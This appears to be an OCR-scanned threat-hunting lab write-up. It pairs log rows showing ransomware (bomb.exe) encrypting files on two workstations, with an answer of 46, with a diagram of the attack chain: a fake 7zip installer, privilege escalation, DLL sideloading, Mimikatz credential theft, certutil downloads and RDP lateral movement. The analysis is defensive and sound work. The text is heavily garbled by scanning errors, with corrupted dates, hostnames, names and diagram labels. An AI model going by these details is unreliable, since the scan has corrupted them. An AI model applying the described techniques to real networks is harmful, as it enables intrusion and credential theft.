> | sep 26, 2023 @ 15:45:07.684 “C:\Users\anna.jones\bom  C:\Windows\system32\wsmprovho wsmprovhost.exe 7,748 7,616 Process Create (rule: P WKSTN-82.swiftspen|
b.exe” st.exe, -Embedding /rocesscreate) dfinancial.thm

> Sep 26, 2023 @ 15:45:07.698 - - - privileged-operation WKSTN-B2. swiftspen
Execution of the ransomware on WKSTN-02 dfinancial, th

5 Sep 26, 2023 @ 15:45:07.729 - - - - 7,616 File created (rule: Fil WKSTN-82.swiftspen
eCreate) dfinancial.thm

> Sep 26, 2023 @ 15:45:07.745 - First file encrypted by the ransorfwi#ire File created (rule: Fil WKSTN-82.swiftspen
eCreate) dfinancial.thm

at WKSTN-02

> Sep 26, 2023 @ 15:45:07.745 - - - 7,616 File created (rule: Fil WKSTN-82.swiftspen

eCreate) dfinancial.thm



> Sep 26, 2623 @ 15:45:088.148 - - - - 7,616 File created (rule: Fil  WKSTN-82.swiftspen

eCreate) dfinancial.thm
> Sep 26, 2023 © 15:45:08.148 - - - - 7,616 File created (rule: Fil  WKSTN-82.swiftspen
eCreate) dfinancial.thm
> Sep 26, 2023 @ 15:45:08.148 - - - - 7,616 File created (rule: Fil  WKSTN-82.swiftspen
eCreate) dfinancial.thm
> Sep 26, 2023 © 15:45:08.148 - - - . - 7,616 File created (rule: Fil  WKSTN-82.swiftspen
Last file encrypted by the ransomware ecreate) dfinancial. thn
at WKSTN-02 then terminater\_»
> Sep 26, 2023 @ 15:45:088.148 - - - - 7,616 File created (rule: Fil  WKSTN-82.swiftspen
eCreate) dfinancial. thm
> Sep 26, 2023 © 15:45:88.164 - - - - 7,616 Precess terminated (rul  WKSTN-82.swiftspen
e: ProcessTerminate) dfinancial.thm

Filter: bomb.exe (ransomware file found at C:\users\anna.jones\Downloads)

B~ Search KaL v Sep 25,2023 @00:00:000 -+ Sep 27,2023 @ 23:30:00.0

winlogbeat-* o & Chart options.

i Qu search field names

Filter by type 0 ~

\ Selected fields 7

2023-08-2

260800 202308

Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000

09261800 2

process.command_line

evreate) aTinanciar .t
+ process parent.args

> Sep 26, 20823 @ 15:45:08.148 - - - - 7,616 File created (rule: Fil  WKSTN-82.swiftspen
i procazspaentnane eCreate) dfinancial .thn

-

process.parent.pid

- There are 16 files encrypted at WKSTN-03 and 30 files encrypted at WKSTN-02.

— Answer: 46



Threat Hunting be like:

™ |
Goal! hehe? A Tough!

Tools ~ *Challenging

Network/ A
Host Artifacts *Ann oying

Domain Names ~*Simple

sEasy

eTrivial

Attacker’s TTP Diagram




exe |
| Host: WKSTN-02 |
\ User: damian.hall |

/ATTACKER
DEPLOVED

|RANSOMWARE |

\ ENCRYPTING |
\_30FILES /

User: perry.parsons

Note: Satng fom e, e prvgo s Svated boass o

l:l ‘the AlwaysElevatedinetall poliey has its bit set

Y S o

/ / N / N

 722201-x64.m: | MsiExecexe \ { Msiseze lmp\ [ powershell | 1)
\ y \ |cownioad 7z.ps1 | “The purpose of 7ziegitexe binary was to trick the user
B / AN / \. 4 y that it actually installed the legitimate 7zip software rathar
b b4 L

than a malicious version of it
s

Download and execte
Tzlegitexe located at |

\Wmdnws Temp |
Apawns 7zipp.exdy / \ /
(‘process from tne [«——|  72Senice T2senvice R

\ service created | oxeouion f creation

@

Note: pwrexps1 is Invoke-PowerExtract
which is used for credential harvesting

PID: 10536
= PID: {4188 e =

process’ content /

[ Mimikatz (used for |

/ATTACKER™,
[ DEPLOYED
{RANSOMWARE|
ENCHVPTING
16 FILES /

[ wsmprovhost exe
{ Host: wKSTN-03
\ User: damian.hall

[ Mimikatz \
| executed via |

PID: 0604

credential theft for
PID: 8358 \user james cromwell)/
PID: 11212
, _PID:7368|

/ \ Note:
| Extract the credential of | * g iles are XML files and10g files so
3 [user james cromwelr and|

normal user won't think its suspicious
Mimikatz \dump it on trash evix fle|
Mimikatz executedvia | \
smaiixvia powershell . -
/ e M .
. p = == Reset password of user
N B

/ *annajones" L the \

ontext of
James. <ol fren \ogm
from WKSTN-03 o
\WKSTN-02 via ROP using
the G2 process /
h y

systeminfo (via
cmd.exe)

[System Recon]

Lateral Movement via RDP

User: anna.jones

et

Attacker got an RDP / \ © / N
| session under the user )—»( Wsmprovhost process Frundi32.exe with 7zipp.dil

i I systeminfo |
lanna jones at WKSTN-02/ \ | ‘embedded | § j

[Privilege: Medium]

[Privilege : High]

[System Recon]

[Process Injection]

Using certutiito |
dovnload
\ sharpchrome.exe

[Credential-Theft]

[ wmimikatz used at ( snampkatz used at | / :
| Demain Admin user \

| Domain Admin user |

e et
imin group|

using SSFitadmin g

Z dumped from browser Gookies

\ Note: If the attacker dian't add user anna jones
Escalate to-Domain. | on the "AD Recovery” Domain Admin group,
dminaiser, using mimikatz and Sharpatz on a Domain
with NTLM
hash /

Admin user would not work.

Download the

ransomware from

Zipp com where the 1st |

| stage matware was on |
WKSTN-

Lateral Movgment via RDP

User: damian.hall

o
/Connest to DC-01

(172.16.1.10) using
credential of user
\_cemannal/

4

N .
[Priv: Medium] y
y /" Attacker
Attacker 3 f
(connected b @ ~ \towisT-00
| to WKSTN-02 7 \_ via RDP
via RDP m [ rundizzexe \

embedded with }
| 7zi0p.dil through
DLL sideloacing /

[Priv: High]

( systeminta |

S A4




